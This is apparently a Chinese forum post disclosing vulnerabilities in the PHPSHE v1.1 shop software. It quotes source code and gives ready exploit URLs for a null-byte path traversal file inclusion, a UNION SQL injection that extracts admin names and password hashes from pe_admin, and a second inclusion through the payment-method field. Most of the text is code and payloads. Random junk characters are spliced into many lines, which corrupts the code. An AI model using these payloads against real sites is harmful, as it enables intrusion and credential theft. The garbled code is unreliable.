phpshe v1.1多处SQL注入和文件包含漏洞Getshell

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/*******************************************************/
, E- [# Q1 l0 ^  G& d2 e/* Phpshe v1.1 Vulnerability
/* ========================
/ r$ r7 f7 M) N$ ], G7 ]: N- f& p/* By: : Kn1f3
  X( b5 ^- g7 A/* E-Mail : 681796@qq.com
/*******************************************************/
0×00 整体大概参数传输


; j: W9 }* R5 \
" ]+ o. G8 f3 U. v9 J$ Y/ l# ]//common.php
if (get_magic_quotes_gpc()) {
!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
}
else {
4 P- }; d- E8 n4 L1 L!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
5 a# i4 c, @7 L!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
9 p0 H  b" H) G- V- @}
- I5 ]0 {, _- R( X. |! `5 Nsession_start();
!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
, [' e; t* J3 ~1 N& a!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');

; c9 U& M, @" l$ B0×01 包含漏洞
4 p2 N/ W# z2 T' Y' N! z

//首页文件
4 X0 B& [! \# h4 H8 g<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
) Y4 F5 g1 o6 Dinclude("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
pe_result();
: h$ ?5 ]* F5 z0 t?>
1 O; ~+ X* S- z//common 文件 第15行开始
url路由配置
$module = $mod = $act = 'index';
$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
* \# Y/ M' h' [; p1 {, h: x* E//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00
6 u; y! a+ `7 O8 q9 A# Z

0×02 搜索注入
7 W2 R4 w. s/ ]' i- |% x# I) ~
<code id="code2">

//product.php文件
* V* i2 h; J2 |& {case 'list':
& l* n# j( `) o5 w2 V$category_id = intval($id);
$info = $db->pe_select('category', array('category_id'=>$category_id));
//搜索
$sqlwhere = " and `product_state` = 1";
4 p/ Z1 `2 a! k; ]. Ipe_lead('hook/category.hook.php');
if ($category_id) {
where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
}
$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
3 T0 {$ V9 W) o7 j" i4 |& zif ($_g_orderby) {
$orderby = explode('_', $_g_orderby);
5 j, M& ?! e4 c9 Q6 E6 F$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
}
$ f* m; G" ^9 i& X' |7 celse {
$sqlwhere .= " order by `product_id` desc";
7 q' ?$ [% ]7 D6 b) y}
$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
//热卖排行
$product_hotlist = product_hotlist();
//当前路径
$nowpath = category_path($category_id);
4 d) `1 i4 w2 O  ~& H- }6 h5 P$seo = pe_seo($info['category_name']);
9 n9 |: O& Y, c6 Hinclude(pe_tpl('product_list.html'));
* X0 T& e+ _# N/ q# }//跟进selectall函数库
public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
7 q* \: s: ~- {( x{
//处理条件语句
$sqlwhere = $this->_dowhere($where);
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
}
3 F/ }- J" G9 [//exp
$ U' F4 E+ L# j3 S! uproduct/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1
: S* P3 R8 }* z% z6 L. u! ^. n

</code>
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0×03 包含漏洞2

<code id="code3">

//order.php

case 'pay':

$order_id = pe_dbhold($_g_id);

$cache_payway = cache::get('payway');

5 p% U* s' k  h; Oforeach($cache_payway as $k => $v) {

; Y+ t) n) K7 R& N: e$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

3 y) O2 i& q( n* ]if ($k == 'bank') {

$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

}

}

$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

& ~4 T0 n; L6 w+ u: V, p& n' P!$order['order_id'] && pe_error('订单号错误...');

4 q# V$ O, W) [7 t, {. ?if (isset($_p_pesubmit)) {

if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

6 g# G, x& T1 U- ~, F1 ~' L$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

foreach ($info_list as $v) {

' q. v1 T& s8 T& f% [' A/ O$order['order_name'] .= "{$v['product_name']};";

  U3 S# Q1 ~4 A2 z}

/ N6 k4 ]& s3 q7 l9 R8 Iecho '正在为您连接支付网站，请稍后...';

include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

}//当一切准备好的时候就可以进行"鸡肋包含了"

  ~* ~& v, i6 m5 @else {

pe_error('支付错误...');

. i/ l# `  g! Z9 N/ E" n# ~4 R}

}

$seo = pe_seo('选择支付方式');

4 \9 V; @4 z( @) sinclude(pe_tpl('order_pay.html'));

break;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
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